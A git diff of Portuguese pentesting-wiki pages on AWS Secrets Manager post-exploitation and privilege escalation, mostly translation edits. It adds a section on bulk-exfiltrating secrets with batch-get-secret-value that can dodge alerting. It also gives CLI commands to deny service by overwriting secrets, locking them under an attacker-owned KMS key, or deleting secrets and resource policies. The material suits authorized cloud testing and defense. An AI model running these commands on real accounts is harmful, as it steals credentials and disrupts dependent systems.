diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 2fb423e62..bf197d669 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -10,13 +10,13 @@ Para mais informações, veja: ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Ler Secrets +### Read Secrets -Os **secrets em si são informações sensíveis**, [veja a página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender como lê-los. +Os **secrets em si são informações sensíveis**, [veja a página privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender como lê-los. -### DoS - Alterar valor do secret +### DoS Change Secret Value -Ao alterar o valor do secret, você pode **DoS todo o sistema que depende desse valor.** +Ao alterar o valor do secret você pode **DoS todos os sistemas que dependem desse valor.** > [!WARNING] > Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior. @@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \ ``` ### DoS Change KMS key -Se o attacker tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key pertencente ao attacker. Essa KMS key é inicialmente configurada de modo que qualquer pessoa pode acessá‑la e usá‑la, portanto atualizar o secret com a nova KMS key é possível. Se a KMS key não fosse acessível, o secret não poderia ser atualizado. +Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key de propriedade do atacante. Essa key é inicialmente configurada de modo que qualquer pessoa possa acessá-la e usá-la, então atualizar o secret com a nova key é possível. Se a key não fosse acessível, o secret não poderia ser atualizado. -Depois de alterar a KMS key do secret, o attacker modifica a configuração da sua KMS key para que apenas ele possa acessá‑la. Assim, nas versões subsequentes do secret, este será criptografado com a nova KMS key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida. +Após alterar a key do secret, o atacante modifica a configuração da sua key para que apenas ele possa acessá-la. Dessa forma, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida. -É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, após o conteúdo do secret mudar, já que a versão atual ainda está criptografada com a KMS key original. +É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret mudar, já que a versão atual ainda está criptografada com a KMS key original. ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS Deleting Secret +### DoS Exclusão de segredo -O número mínimo de dias para excluir um secret é 7 +O número mínimo de dias para excluir um segredo é 7 ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ @@ -48,29 +48,29 @@ aws secretsmanager delete-secret \ ``` ## secretsmanager:RestoreSecret -É possível restaurar um secret, o que permite restaurar secrets que tenham sido agendados para exclusão, já que o período mínimo de exclusão para secrets é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar o conteúdo deles. +É possível restaurar um segredo, o que permite a restauração de segredos que foram programados para exclusão, já que o período mínimo de exclusão para segredos é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar seus conteúdos. -Para recuperar um secret que está em processo de exclusão, você pode usar o seguinte comando: +Para recuperar um segredo que está em processo de exclusão, você pode usar o seguinte comando: ```bash aws secretsmanager restore-secret \ --secret-id ``` ## secretsmanager:DeleteResourcePolicy -Esta ação permite excluir a resource policy que controla quem pode acessar um secret. Isso pode causar um DoS se a resource policy tiver sido configurada para permitir acesso a um conjunto específico de usuários. +Esta ação permite deletar a resource policy que controla quem pode acessar um secret. Isso pode levar a um DoS se a resource policy tiver sido configurada para permitir acesso a um conjunto específico de usuários. -Para excluir a resource policy: +Para deletar a resource policy: ```bash aws secretsmanager delete-resource-policy \ --secret-id ``` ## secretsmanager:UpdateSecretVersionStage -Os estados de um segredo são usados para gerenciar suas versões. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual. +Os estados de um secret são usados para gerenciar versões de um segredo. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual. As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e podem falhar. -AWSPREVIOUS não é usado automaticamente. No entanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo ainda está funcionando com a versão anterior. +AWSPREVIOUS não é usado automaticamente. No entanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo continua a ser executado com a versão anterior. ```bash aws secretsmanager update-secret-version-stage \ --secret-id \ @@ -79,3 +79,52 @@ aws secretsmanager update-secret-version-stage \ --remove-from-version-id ``` {{#include ../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Abuse the Secrets Manager BatchGetSecretValue API para recuperar até 20 secrets em uma única requisição. Isso pode reduzir dramaticamente o volume de chamadas de API em comparação com iterar GetSecretValue por segredo. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue para cada segredo recuperado no lote. + +Permissões necessárias +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue para cada segredo alvo +- secretsmanager:ListSecrets se estiver usando --filters +- kms:Decrypt nos CMKs usados pelos segredos (se não estiver usando aws/secretsmanager) + +> [!WARNING] +> Observe que a permissão `secretsmanager:BatchGetSecretValue` por si só não é suficiente para recuperar segredos; você também precisa de `secretsmanager:GetSecretValue` para cada segredo que deseja recuperar. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrar por filtros (chave/valor de tag ou prefixo de nome) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Lidando com falhas parciais +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Impacto +- Rápida “smash-and-grab” de muitos segredos com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue. +- Os logs do CloudTrail ainda incluem um evento GetSecretValue por cada segredo recuperado pelo lote. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index beeac0330..5f4dcde1d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -12,18 +12,18 @@ Para mais informações sobre Secrets Manager, veja: ### `secretsmanager:GetSecretValue` -Um atacante com essa permissão pode obter o **valor salvo dentro de um secret** na AWS **Secretsmanager**. +Um atacante com essa permissão pode obter o **valor salvo dentro de um secret** no AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` **Impacto Potencial:** Acesso a dados altamente sensíveis dentro do serviço AWS Secrets Manager. > [!WARNING] -> Observe que mesmo com a permissão `secretsmanager:BatchGetSecretValue`, um atacante também precisaria da permissão `secretsmanager:GetSecretValue` para recuperar os segredos sensíveis. +> Observe que mesmo com a permissão `secretsmanager:BatchGetSecretValue`, um atacante também precisaria de `secretsmanager:GetSecretValue` para recuperar os segredos sensíveis. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Com as permissões anteriores, é possível **conceder acesso a outros principals/accounts (mesmo externos)** para acessar o **segredo**. Observe que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [KMS Enum page](../aws-services/aws-kms-enum.md)). +Com as permissões anteriores é possível **dar acesso a outros principals/accounts (mesmo externos)** para acessar o **secret**. Note que, para **read secrets encrypted** com uma KMS key, o usuário também precisa ter **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id